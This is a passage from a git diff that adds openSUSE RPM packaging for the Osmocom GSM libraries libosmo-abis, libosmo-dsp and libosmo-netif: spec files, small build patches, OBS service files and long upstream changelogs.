+Tue Mar 19 21:00:27 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.5:
+ * rtp: Add 'autoconnect' feature to the osmo_rtp_socket
+ * tests: use -no-install libtool flag to avoid ./lt-* scripts
+
+-------------------------------------------------------------------
+Mon Mar 11 21:00:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.3:
+ * ipa: Make ipa_server_conn_destroy() re-entrant
+
+-------------------------------------------------------------------
+Tue Feb 05 21:00:24 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.2:
+ * Log peer's port in accept callback
+
+-------------------------------------------------------------------
+Thu Jan 24 21:04:52 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.1:
+ * Set local IP in ipa_server_link properly
+
+-------------------------------------------------------------------
+Sun Jan 20 21:00:25 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.0:
+ * Bump version: 0.5.1.20-de57 → 0.6.0
+
+-------------------------------------------------------------------
+Thu Dec 06 21:00:21 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.21:
+ * log IPA tags correctly
+
+-------------------------------------------------------------------
+Tue Nov 20 19:09:45 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.20:
+ * osmo_ortp: Log domain and fix strings without endl char
+
+-------------------------------------------------------------------
+Tue Oct 09 20:00:20 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.19:
+ * e1_input.h: Set correct type for input_signal_data->link_type
+ * ipaccess: Simplify handling of ipaccess e1line ts
+
+-------------------------------------------------------------------
+Wed Oct 03 20:00:20 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.17:
+ * ipacces: Log correct trx_nr during IPA GET
+
+-------------------------------------------------------------------
+Wed Sep 26 20:00:22 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.16:
+ * ensure unix socket paths are NUL-terminated for bind/connect
+
+-------------------------------------------------------------------
+Tue Sep 04 20:00:20 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.15:
+ * debian: Conflict libosmoabis6 with libosmoabis5
+ * Properly deal with sockaddr_un socket path length limitations.
+
+-------------------------------------------------------------------
+Thu Aug 30 20:00:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.13:
+ * debian: Fix libosmoabis soname package version
+
+-------------------------------------------------------------------
+Wed Aug 29 20:00:23 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.12:
+ * ipaccess: Allow passing return code in e1inp_line_ops->sign_link()
+ * ipaccess: Return -EBADF when closing socket in ipaccess_bts_read_cb
+ * ipa: Allow signalling fd destroyed in ipa_server_conn_read
+ * ipa: Allow signalling fd destroyed in ipa_client_read
+ * ipa: Simplify code in ipa_server_conn_read
+ * ipa: Simplify code in ipa_client_read
+
+-------------------------------------------------------------------
+Sat Aug 25 20:00:22 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.6:
+ * ipa: don't crash on missing IPA ID GET message
+
+-------------------------------------------------------------------
+Thu Aug 23 20:00:21 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.5:
+ * ipaccess_rcvmsg: Fix bug introduced in previous commit
+
+-------------------------------------------------------------------
+Wed Aug 22 20:00:23 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.4:
+ * ipaccess: Use osmo_fd_setup to set up callbacks
+
+-------------------------------------------------------------------
+Mon Aug 06 20:00:25 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.3:
+ * debian/rules: Don't overwrite .tarball-version
+
+-------------------------------------------------------------------
+Wed Aug 01 20:00:25 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.2:
+ * Migrate from ipa_ccm_idtag_parse to ipa_ccm_id_resp_parse()
+
+-------------------------------------------------------------------
+Fri Jul 27 20:00:26 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.1:
+ * fix strncpy bugs in ipaccess.c, ipa_proxy.c
+ * Bump version: 0.5.0.10-a210-dirty → 0.5.1
+
+-------------------------------------------------------------------
+Tue Jul 24 20:00:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.0.10:
+ * e1_input.c: Replace '.' in counter names with ':'
+
+-------------------------------------------------------------------
+Tue Jun 05 20:00:25 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.0.9:
+ * Revert "ortp: make sure the ortp scheduler is started"
+ * Revert "ortp: enable scheduled mode on rtp socket creation"
+
+-------------------------------------------------------------------
+Thu May 31 20:00:23 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.0.7:
+ * ortp: enable scheduled mode on rtp socket creation
+
+-------------------------------------------------------------------
+Wed May 30 20:00:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.0.6:
+ * ortp: make sure the ortp scheduler is started
+ * ortp: reset rtp session on SSRC changes
+ * ortp: detect ssrc changes immediately
+
+-------------------------------------------------------------------
+Thu May 24 20:00:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.0.3:
+ * fix double-free/use-after-free of pointers in struct e1inp_line
+
+-------------------------------------------------------------------
+Wed May 23 20:00:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.0.2:
+ * ipaccess: ipaccess_rcvmsg: Drop unneeded memcpy
+ * ipaccess: Avoid using released line and bfd in ipaccess_fd_cb
+
+-------------------------------------------------------------------
+Thu May 03 20:00:26 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.0.0:
+ * git-version-gen: Check first for new tag format
+ * Bump version: 0.4.0.21-60fd-dirty → 0.5.0
+
+-------------------------------------------------------------------
+Tue Apr 17 20:00:27 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.20:
+ * use osmo_init_logging2
+
+-------------------------------------------------------------------
+Wed Apr 11 20:00:17 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.19:
+ * configure.ac: Fix condition check for RTP_SIGNAL_PTR_CAST define
+
+-------------------------------------------------------------------
+Sat Apr 07 18:49:44 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.18:
+ * preserve 'when' flags of new osmo_fd in ipaccess_rcvmsg()
+ * e1_input.h: Remove dead declaration of unexistent API ipaccess_setup
+
+-------------------------------------------------------------------
+Wed Mar 14 21:20:53 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.16:
+ * Add SPDX-License-Identifier to all source files
+ * add --enable-sanitize config option
+ * unixsocket: fix a potential string overflow
+ * Add a new osmo_rtp_set_source_desc() function to set the RTCP SDES items
+ * cosmetic: update ipaccess_bts_handle_ccm()
+ * debian/control: Fix Vcs-Browser
+ * IPA: log remote address
+ * contrib: jenkins.sh: Disable doxygen in libosmocore build
+ * configure: add --enable-werror
+ * jenkins.sh: use --enable-werror configure flag, not CFLAGS
+
+-------------------------------------------------------------------
+Wed Feb 14 16:29:24 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 0.4.0.13
+
+-------------------------------------------------------------------
+Sat Feb 10 20:08:05 UTC 2018 - mardnh@gmx.de
+
+- Show testsuite.log when tests are failing
+
+-------------------------------------------------------------------
+Thu Jan 25 20:51:03 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 0.4.0.10
+
+-------------------------------------------------------------------
+Mon Oct 2 22:48:02 UTC 2017 - jengelh@inai.de
+
+- Update to new upstream snapshot 0.4.0.2
+ * osmo_ortp: Duration of a RTP frame affects timestamp of the
+ next one
+ * osmo_ortp: Add osmo_rtp_drop_frame API
+ * osmo_ortp: Fix warning: check ortp API in
+ rtp_session_signal_connect
+- Drop 0001-build-resolve-compiler-warnings.patch (merged)
+
+-------------------------------------------------------------------
+Fri Apr 28 20:58:28 UTC 2017 - jengelh@inai.de
+
+- Update to new upstream snapshot 0.3.2.68
+ * Really fix order of set_connected_mode and set_remote_addr
+ * Resync RTP session in case of timestamp jump
+ * e1_input: Add E1 timeslot number to input_signal_data
+ * Convert e1inp_{sign,ts}type_name() to use struct value_string
+ * Implement new 'raw' input type for E1 timeslots
+ * Add HDLC timeslot mode
+ * lapd: adding support for ericsson's lapd dialect
+ * Enable adaptive jitter compensation
+ * lapd: Reduce N200 (SABM retransmission count)
+- Drop ortp27.diff (no longer needed)
+
+-------------------------------------------------------------------
+Sat Oct 1 12:30:41 UTC 2016 - jengelh@inai.de
+
+- Update to new upstream snapshot 0.3.2.24
+* No visible changes
+- Add ortp27.diff
+
+-------------------------------------------------------------------
+Sat Jul 30 17:54:58 UTC 2016 - jengelh@inai.de
+
+- Update to new upstream snapshot 0.3.2.19
+* ipa driver: make bind address vty configurable
+* Do not send RTP to port 0
+* Add defines for FN to SAMPLE conversion
+
+-------------------------------------------------------------------
+Fri Jan 22 19:08:57 UTC 2016 - jengelh@inai.de
+
+- Move to seprate location and ensure pkgconfig is used correctly
+
+-------------------------------------------------------------------
+Wed Dec 23 17:34:54 UTC 2015 - jengelh@inai.de
+
+- Update to new upstream release 0.3.2.3
+* ortp: Guard the jitter stats with a version check
+* ortp: Export statistics for the bts or similar
+* export lapd_tei_alloc for libosmo-netif
+
+-------------------------------------------------------------------
+Thu Apr 2 12:29:23 UTC 2015 - jengelh@inai.de
+
+- Add 0001-build-resolve-compiler-warnings.patch
+
+-------------------------------------------------------------------
+Sun Mar 1 01:15:24 UTC 2015 - jengelh@inai.de
+
+- Update to new upstream release 0.3.1
+* No changelog was provided, again
+
+-------------------------------------------------------------------
+Thu Oct 2 20:43:07 UTC 2014 - jengelh@inai.de
+
+- Update to new upstream release 0.3.0
+* No changelog was provided
+
+-------------------------------------------------------------------
+Mon Jul 21 08:00:10 UTC 2014 - jengelh@inai.de
+
+- Update to new upstream release 0.2.0
+* No changelog was provided
+- Remove 0001-lapd-Do-not-override-t203_sec-initialization.patch,
+ 0002-misdn-Set-ret-to-0-when-using-the-LAPD-from-userspac.patch
+ (no longer needed)
+
+-------------------------------------------------------------------
+Sun Jun 2 23:50:42 UTC 2013 - jengelh@inai.de
+
+- Add 0001-lapd-Do-not-override-t203_sec-initialization.patch,
+ 0002-misdn-Set-ret-to-0-when-using-the-LAPD-from-userspac.patch
+
+-------------------------------------------------------------------
+Fri Feb 22 09:03:06 UTC 2013 - jengelh@inai.de
+
+- Initial package (version 0.1.5) for build.opensuse.org
diff --git a/rpm-local/spec/libosmo-abis/libosmo-abis.spec b/rpm-local/spec/libosmo-abis/libosmo-abis.spec
new file mode 100644
index 0000000..2d413a3
--- /dev/null
+++ b/rpm-local/spec/libosmo-abis/libosmo-abis.spec
@@ -0,0 +1,161 @@
+#
+# spec file for package libosmo-abis
+#
+# Copyright (c) 2018 SUSE LINUX GmbH, Nuernberg, Germany.
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+
+%define version_unconverted 0.8.0.19
+
+Name: libosmo-abis
+Version: 0.8.0.19
+Release: 0
+Summary: Osmocom library for A-bis interface between BTS and BSC
+License: AGPL-3.0-or-later AND GPL-2.0-or-later
+Group: Productivity/Telephony/Utilities
+Url: https://osmocom.org/projects/libosmo-abis/wiki/Libosmo-abis
+
+Source: %name-%version.tar.xz
+Patch1: osmo-talloc.diff
+BuildRoot: %{_tmppath}/%{name}-%{version}-build
+BuildRequires: automake >= 1.6
+#BuildRequires: dahdi-linux-devel
+BuildRequires: libtool >= 2
+BuildRequires: pkgconfig >= 0.20
+BuildRequires: xz
+BuildRequires: pkgconfig(libosmocore) >= 1.0.0
+BuildRequires: pkgconfig(libosmogsm) >= 1.0.0
+BuildRequires: pkgconfig(libosmovty) >= 1.0.0
+BuildRequires: pkgconfig(ortp) >= 0.22
+BuildRequires: pkgconfig(talloc)
+
+%description
+In GSM, A-bis is a BSS-internal interface link between the BTS and
+BSC. This interface allows control of the radio equipment and radio
+frequency allocation in the BTS.
+
+%package -n libosmoabis6
+Summary: Osmocom GSM A-bis interface library
+License: AGPL-3.0-or-later
+Group: System/Libraries
+
+%description -n libosmoabis6
+In the GSM system architecture, A-bis is a Base Station
+System-internal interface linking the Base Transceiver Stations (BTS)
+and Base Station Controller (BSC). This interface allows control of
+the radio equipment and radio frequency allocation in the BTS.
+
+This library contains common/shared code regarding this A-bis
+interface. It also implements drivers for mISDN and DAHDI-based E1
+cards, as well as some A-bis/IP dialects.
+
+%package -n libosmoabis-devel
+Summary: Development files for the Osmocom GSM A-bis library
+License: AGPL-3.0-or-later
+Group: Development/Libraries/C and C++
+Requires: libosmoabis6 = %version
+Requires: libosmocore-devel >= 0.3.0
+Requires: libosmogsm-devel >= 0.3.10
+
+%description -n libosmoabis-devel
+This library contains common/shared code regarding the GSM A-bis
+interface. It also implements drivers for mISDN and DAHDI-based E1
+cards, as well as some A-bis/IP dialects.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libosmoabis.
+
+%package -n libosmotrau2
+Summary: Osmocom GSM TRAU (E1/RTP) library
+License: GPL-2.0-or-later
+Group: System/Libraries
+
+%description -n libosmotrau2
+This library implements the Transcoder and Rate Adaptation Unit (TRAU) for
+GSM systems.
+The TRAU enables the use of lower rates (32, 16 or 8 kbps) over the
+A-bis interface instead of the 64 kbps ISDN rate for which the Mobile
+Switching Center (MSC) is designed.
+
+%package -n libosmotrau-devel
+Summary: Development files for the Osmocom TRAU (E1/RTP) library
+License: GPL-2.0-or-later
+Group: Development/Libraries/C and C++
+Requires: libosmotrau2 = %version
+
+%description -n libosmotrau-devel
+This library implements the Transcoder and Rate Adaptation Unit
+(TRAU) for GSM systems.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libosmotrau.
+
+%prep
+%setup -q
+%patch -P 1 -p1 -F2
+
+%build
+echo "%version" >.tarball-version
+autoreconf -fiv
+# FIXME: Compiler warnings with ortp 0.24.2 result in hard-errors during rpm-postbuild-checks - should be fixed upstream
+%if 0%{?sle_version}
+export CFLAGS='%{optflags} -Wno-int-conversion'
+%endif
+%configure \
+ --enable-shared \
+ --disable-static \
+ --disable-dahdi \
+ --includedir="%_includedir/%name"
+make %{?_smp_mflags}
+
+%install
+b="%buildroot"
+make %{?_smp_mflags} install DESTDIR="$b"
+find "$b/%_libdir" -type f -name "*.la" -delete
+
+%check
+make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+
+%post -n libosmoabis6 -p /sbin/ldconfig
+%postun -n libosmoabis6 -p /sbin/ldconfig
+%post -n libosmotrau2 -p /sbin/ldconfig
+%postun -n libosmotrau2 -p /sbin/ldconfig
+
+%files -n libosmoabis6
+%defattr(-,root,root)
+%_libdir/libosmoabis.so.6*
+
+%files -n libosmoabis-devel
+%defattr(-,root,root)
+%doc COPYING
+%dir %_includedir/%name
+%dir %_includedir/%name/osmocom
+%_includedir/%name/osmocom/abis/
+%_libdir/libosmoabis.so
+%_libdir/pkgconfig/libosmoabis.pc
+
+%files -n libosmotrau2
+%defattr(-,root,root)
+%_libdir/libosmotrau.so.2*
+
+%files -n libosmotrau-devel
+%defattr(-,root,root)
+%doc COPYING
+%dir %_includedir/%name
+%dir %_includedir/%name/osmocom
+%_includedir/%name/osmocom/trau
+%_libdir/libosmotrau.so
+%_libdir/pkgconfig/libosmotrau.pc
+
+%changelog
diff --git a/rpm-local/spec/libosmo-abis/osmo-talloc.diff b/rpm-local/spec/libosmo-abis/osmo-talloc.diff
new file mode 100644
index 0000000..43c2d93
--- /dev/null
+++ b/rpm-local/spec/libosmo-abis/osmo-talloc.diff
@@ -0,0 +1,37 @@
+From 6eda430372edbf4dcebb9181ae7ef9f4daff544e Mon Sep 17 00:00:00 2001
+From: Jan Engelhardt <jengelh@inai.de>
+Date: Sun, 17 Feb 2013 21:18:44 +0100
+Subject: [PATCH] build: link to talloc
+
+The source files use talloc, so link to talloc.
+---
+ configure.ac | 1 +
+ src/Makefile.am | 2 +-
+ 2 files changed, 2 insertions(+), 1 deletion(-)
+
+Index: libosmo-abis-0.4.0.2/configure.ac
+===================================================================
+--- libosmo-abis-0.4.0.2.orig/configure.ac
++++ libosmo-abis-0.4.0.2/configure.ac
+@@ -47,6 +47,7 @@ AC_SUBST(SYMBOL_VISIBILITY)
+ dnl Generate the output
+ AM_CONFIG_HEADER(config.h)
+
++PKG_CHECK_MODULES([TALLOC], [talloc])
+ PKG_CHECK_MODULES(LIBOSMOCORE, libosmocore >= 1.0.0)
+ PKG_CHECK_MODULES(LIBOSMOVTY, libosmovty >= 1.0.0)
+ PKG_CHECK_MODULES(LIBOSMOGSM, libosmogsm >= 1.0.0)
+ PKG_CHECK_MODULES(ORTP, ortp >= 0.22.0)
+Index: libosmo-abis-0.4.0.2/src/Makefile.am
+===================================================================
+--- libosmo-abis-0.4.0.2.orig/src/Makefile.am
++++ libosmo-abis-0.4.0.2/src/Makefile.am
+@@ -7,7 +7,7 @@ TRAU_LIBVERSION=2:0:0
+ AM_CPPFLAGS = $(all_includes) -I$(top_srcdir)/include -I$(top_builddir)
+ AM_CFLAGS= -Wall $(LIBOSMOCORE_CFLAGS) $(LIBOSMOGSM_CFLAGS) $(LIBOSMOVTY_CFLAGS) $(COVERAGE_CFLAGS)
+ AM_LDFLAGS = $(COVERAGE_LDFLAGS)
+-COMMONLIBS = $(LIBOSMOCORE_LIBS) $(LIBOSMOGSM_LIBS) $(LIBOSMOVTY_LIBS) $(LIBOSMOE1D_LIBS)
++COMMONLIBS = $(TALLOC_LIBS) $(LIBOSMOCORE_LIBS) $(LIBOSMOGSM_LIBS) $(LIBOSMOVTY_LIBS) $(LIBOSMOE1D_LIBS)
+
+ lib_LTLIBRARIES = libosmoabis.la libosmotrau.la
+
diff --git a/rpm-local/spec/libosmo-dsp/HTML_TIMESTAMP.diff b/rpm-local/spec/libosmo-dsp/HTML_TIMESTAMP.diff
new file mode 100644
index 0000000..224f310
--- /dev/null
+++ b/rpm-local/spec/libosmo-dsp/HTML_TIMESTAMP.diff
@@ -0,0 +1,12 @@
+diff -urN libosmodsp-0.3_orig/Doxyfile.in libosmodsp-0.3/Doxyfile.in
+--- libosmodsp-0.3_orig/Doxyfile.in 2013-08-10 11:22:15.312403296 +0000
++++ libosmodsp-0.3/Doxyfile.in 2013-08-12 15:30:12.358837785 +0000
+@@ -891,7 +891,7 @@
+ # page will contain the date and time when the page was generated. Setting
+ # this to NO can help when comparing the output of multiple runs.
+
+-HTML_TIMESTAMP = YES
++HTML_TIMESTAMP = NO
+
+ # If the HTML_ALIGN_MEMBERS tag is set to YES, the members of classes,
+ # files or namespaces will be aligned in HTML using tables. If set to
diff --git a/rpm-local/spec/libosmo-dsp/_service b/rpm-local/spec/libosmo-dsp/_service
new file mode 100644
index 0000000..df36c5d
--- /dev/null
+++ b/rpm-local/spec/libosmo-dsp/_service
@@ -0,0 +1,13 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/libosmo-dsp</param>
+ <param name="revision">0.4.0</param>
+ <param name="versionformat">0.4.0</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/libosmo-dsp/libosmo-dsp.changes b/rpm-local/spec/libosmo-dsp/libosmo-dsp.changes
new file mode 100644
index 0000000..4496956
--- /dev/null
+++ b/rpm-local/spec/libosmo-dsp/libosmo-dsp.changes
@@ -0,0 +1,53 @@
+-------------------------------------------------------------------
+Mon Jan 28 22:01:07 UTC 2019 - mardnh@gmx.de
+
+- Update to new upstream release 0.4.0
+ * No functional changes since our last git snapshot (0.3.8)
+
+-------------------------------------------------------------------
+Mon Mar 19 19:03:05 UTC 2018 - mardnh@gmx.de
+
+- Use versionrewrite-pattern in the service file to get the
+ the proper tag.
+- Run spec-cleaner
+- Fix URL
+
+-------------------------------------------------------------------
+Sun Jan 7 20:37:49 UTC 2018 - bwiedemann@suse.com
+
+- Drop LaTeX log from doc subpackage to make build more reproducible
+
+-------------------------------------------------------------------
+Sat Apr 29 17:53:38 UTC 2017 - jengelh@inai.de
+
+- Add service file, use dots like in the other libosmo*s,
+ and replace .tarball-version.
+- Rectify RPM groups. Use versioned requires where known.
+- Drop static libraries.
+- Install to %_includedir/%name to catch misuses of pkgconfig.
+
+-------------------------------------------------------------------
+Tue Mar 21 23:19:00 UTC 2017 - dl8fcl@darc.de
+
+- update to version 0.3_8
+
+-------------------------------------------------------------------
+Tue Nov 18 12:15:28 UTC 2014 - dl8fcl@darc.de
+
+- update to version 0.3_2_gf68f75e
+
+-------------------------------------------------------------------
+Wed Aug 20 11:34:40 UTC 2014 - dl8fcl@darc.de
+
+- Package renamed to libosmo-dsp
+
+-------------------------------------------------------------------
+Wed Oct 30 15:40:34 UTC 2013 - lnt-sysadmin@lists.lrz.de
+
+- Add BuildRequires: texlive-latex to build some documentation
+
+-------------------------------------------------------------------
+Sun Aug 11 13:36:58 UTC 2013 - dl8fcl@darc.de
+
+- import into build service
+
diff --git a/rpm-local/spec/libosmo-dsp/libosmo-dsp.spec b/rpm-local/spec/libosmo-dsp/libosmo-dsp.spec
new file mode 100644
index 0000000..7131241
--- /dev/null
+++ b/rpm-local/spec/libosmo-dsp/libosmo-dsp.spec
@@ -0,0 +1,87 @@
+#
+# spec file for package libosmo-dsp
+#
+# Copyright (c) 2017 Walter Fey DL8FCL
+#
+# This file is under MIT license
+
+%define libname libosmodsp0
+Name: libosmo-dsp
+Version: 0.4.0
+Release: 0
+Summary: SDR DSP primitives
+License: GPL-2.0-only
+Group: Productivity/Hamradio/Other
+URL: https://osmocom.org/projects/libosmo-dsp
+Source: %{name}-%{version}.tar.xz
+Patch0: HTML_TIMESTAMP.diff
+BuildRequires: automake >= 1.6
+BuildRequires: doxygen
+BuildRequires: fdupes
+BuildRequires: libtool >= 2
+BuildRequires: pkgconfig
+BuildRequires: texlive-latex
+BuildRequires: pkgconfig(fftw3f) >= 3.2
+
+%description
+A library with SDR DSP primitives
+
+%package -n %{libname}
+Summary: SDR DSP primitives
+Group: System/Libraries
+
+%description -n %{libname}
+A library with SDR DSP primitives
+
+%package devel
+Summary: SDR DSP primitives
+Group: Development/Libraries/C and C++
+Requires: %{libname} = %{version}
+
+%description devel
+A library with SDR DSP primitives headers
+
+%package doc
+Summary: SDR DSP primitives - Documentation
+Group: Documentation/HTML
+Requires: %{libname} = %{version}
+BuildArch: noarch
+
+%description doc
+A library with SDR DSP primitives headers - Documentation
+
+%prep
+%setup -q
+%patch0 -p1
+
+%build
+echo "%version" >.tarball-version
+autoreconf --force --install
+%configure --disable-static --includedir="%{_includedir}/%{name}"
+make %{?_smp_mflags}
+
+%install
+%make_install
+rm -f "%{buildroot}/%{_libdir}"/*.la
+%fdupes -s %{buildroot}
+
+%post -n %{libname} -p /sbin/ldconfig
+%postun -n %{libname} -p /sbin/ldconfig
+
+%files -n %{libname}
+%defattr(-,root,root)
+%doc AUTHORS COPYING
+%{_libdir}/libosmodsp.so.*
+
+%files devel
+%defattr(-,root,root)
+%{_libdir}/libosmodsp.so
+%{_includedir}/%name/
+%{_libdir}/pkgconfig/libosmodsp.pc
+
+%files doc
+%defattr(-,root,root)
+%doc %{_datadir}/doc/libosmodsp
+%exclude %{_datadir}/doc/libosmodsp/html/*.log
+
+%changelog
diff --git a/rpm-local/spec/libosmo-netif/_service b/rpm-local/spec/libosmo-netif/_service
new file mode 100644
index 0000000..80069cf
--- /dev/null
+++ b/rpm-local/spec/libosmo-netif/_service
@@ -0,0 +1,13 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/libosmo-netif</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/libosmo-netif/_servicedata b/rpm-local/spec/libosmo-netif/_servicedata
new file mode 100644
index 0000000..37cb473
--- /dev/null
+++ b/rpm-local/spec/libosmo-netif/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/libosmo-netif</param>
+ <param name="changesrevision">a45acd81be1f6c24fcf3e54b0cf5168e55c31c0a</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/libosmo-netif/libosmo-netif.changes b/rpm-local/spec/libosmo-netif/libosmo-netif.changes
new file mode 100644
index 0000000..9436f41
--- /dev/null
+++ b/rpm-local/spec/libosmo-netif/libosmo-netif.changes
@@ -0,0 +1,431 @@
+-------------------------------------------------------------------
+Sun Apr 19 20:00:38 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.7.0.11:
+ * debian/control: Drop incorrect libortp-dev dependency
+
+-------------------------------------------------------------------
+Tue Apr 14 20:00:39 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.7.0.10:
+ * configure.ac: fix libtool issue with clang and sanitizer
+
+-------------------------------------------------------------------
+Wed Jan 29 21:00:29 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.7.0.9:
+ * stream: Rename cli state NONE to CLOSED
+ * stream: Add new WAIT_RECONNECT cli state
+ * stream: Re-arrange cli states to fix 100% cpu usage bug
+ * stream: Drop data during write() while in state NONE
+
+-------------------------------------------------------------------
+Sun Jan 12 21:01:43 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.7.0.5:
+ * add/clean big-endian packed structs (struct_endianess.py)
+ * stream.c: Improve logging during sock send()
+ * configure.ac: Drop unneeded check for dahdi
+ * configure.ac: Introduce --{enable,disable}-libsctp configure flag
+
+-------------------------------------------------------------------
+Wed Jan 08 21:00:55 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.7.0.1:
+ * struct amr_header: copy comments to little endian part
+
+-------------------------------------------------------------------
+Fri Jan 03 21:01:04 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.7.0.0:
+ * Bump version: 0.6.0.16-6413a-dirty → 0.7.0
+
+-------------------------------------------------------------------
+Thu Nov 21 21:02:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.16:
+ * osmux_test: don't use color logging
+
+-------------------------------------------------------------------
+Tue Oct 22 20:00:45 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.15:
+ * libosmo-netif.pc.in: Append -lsctp to Libs.private
+
+-------------------------------------------------------------------
+Mon Oct 21 20:00:36 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.14:
+ * stream: Fix fd param passed to close() in error conditon
+
+-------------------------------------------------------------------
+Fri Oct 18 10:11:52 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.13:
+ * tests: osmux_test: Hardcode h_output values set by random()
+ * stream: osmo_stream_cli: Support setting multiple addr
+ * stream: osmo_stream_srv_link: Support setting multiple addr
+
+-------------------------------------------------------------------
+Thu Oct 10 20:00:28 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.10:
+ * stream.c: remove duplicated line setting variable
+
+-------------------------------------------------------------------
+Wed Oct 09 20:01:15 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.9:
+ * tests: osmux_test: Provide More accurate logging expectancies
+
+-------------------------------------------------------------------
+Fri Oct 04 20:00:30 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.8:
+ * osmux: squash LOGP message to one line
+ * tests: osmux_test: Use fake time also for monotonic clock
+ * osmux: osmux_snprintf(): Remove dangling whitespace at the end of dummy frames
+ * osmux: osmux_snprintf(): Append comma between osmux frames in msg
+
+-------------------------------------------------------------------
+Fri Sep 20 20:00:33 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.4:
+ * stream_test: Log fake time
+ * stream_test: Use fake time
+
+-------------------------------------------------------------------
+Thu Sep 05 20:00:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.2:
+ * stream: Fix scheduling of queued messages during connecting state
+ * stream: Introduce API osmo_stream_cli_is_connected
+
+-------------------------------------------------------------------
+Thu Aug 08 21:54:13 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.0:
+ * Bump version: 0.5.0.2-6563-dirty → 0.6.0
+
+-------------------------------------------------------------------
+Thu Jul 11 20:00:58 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.0.2:
+ * contrib/jenkins.sh: run "make maintainer-clean"
+
+-------------------------------------------------------------------
+Sun May 19 20:00:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.0.1:
+ * osmux: Extend osmux_out_handle and add new API to set rtp payload_type
+
+-------------------------------------------------------------------
+Fri May 10 20:00:37 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.0.0:
+ * Bump version: 0.4.0.1-738f → 0.5.0
+
+-------------------------------------------------------------------
+Wed Mar 27 21:00:48 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.25:
+ * amr: use sizeof(struct amr_hdr) when working with amr header length
+
+-------------------------------------------------------------------
+Tue Mar 19 21:00:36 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.24:
+ * Deprecate osmo_stream_cli_open2()
+
+-------------------------------------------------------------------
+Thu Mar 14 21:00:36 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.23:
+ * tests: AM_LDFLAGS = -noinstall for all tests
+ * gitignore: add amr_test
+
